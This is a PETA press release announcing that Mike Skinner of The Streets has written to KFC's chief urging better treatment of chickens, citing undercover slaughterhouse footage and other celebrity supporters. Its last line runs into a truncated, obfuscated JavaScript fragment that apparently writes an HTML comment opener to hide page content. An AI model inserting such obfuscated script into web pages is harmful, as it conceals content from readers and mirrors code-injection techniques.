The Streets team up with PETA against KFC

Still riding the wave of his 2004 release A Grand Don't Come for Free and on the heels of winning the prestigious Brit Award for Best Male Solo Artist, Mike Skinner, the hip-hop, garage artist who performs as The Streets, has become the latest musician to publicly back a campaign calling on KFC to improve the living and dying conditions of the chickens raised for its restaurants. Skinner wrote a letter to KFC chief David Novak, taking him to task for the fast-food chain's cruel treatment of hundreds of millions of birds.

“It comes as no surprise that KFC's sales have been in the toilet as more and more people find out from PETA about your complete disregard for the well-being of these animals,” writes Skinner. “Please follow the recommendations of your own animal welfare board and PETA, and bring your company into the 21st century.”

The letter urges KFC to implement PETA's recommended improvements in the treatment of its chickens. Video footage of a slaughterhouse in Moorefield, W.Va., revealed horrific cruelty to chickens at the KFC supplier. Among other abuses, workers were caught kicking, throwing, and stomping on live birds in the widely publicized video. Undercover investigations into KFC suppliers in Germany, India, Australia, and the U.K. have turned up exactly the same abuses that were found in the U.S.: crippled chickens kept in crowded, filthy conditions.

The Streets join His Holiness the Dalai Lama, rock legends Sir Paul McCartney and Chrissie Hynde, actor Pamela Anderson, Anoushka Shankar, and hip-hop mogul Russell Simmons in sending letters to KFC on PETA's behalf.

“KFC stands for cruelty in our book,” says PETA Director Bruce Friedrich. “More than 850 million chickens are killed each year for KFC in the cruelest ways imaginable, yet KFC has refused to do anything whatsoever to eliminate the worst abuses that these animals suffer.”

Mike Skinner's letter to KFC chief David Novak is available upon request. For more information, please visit peta2.com.document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;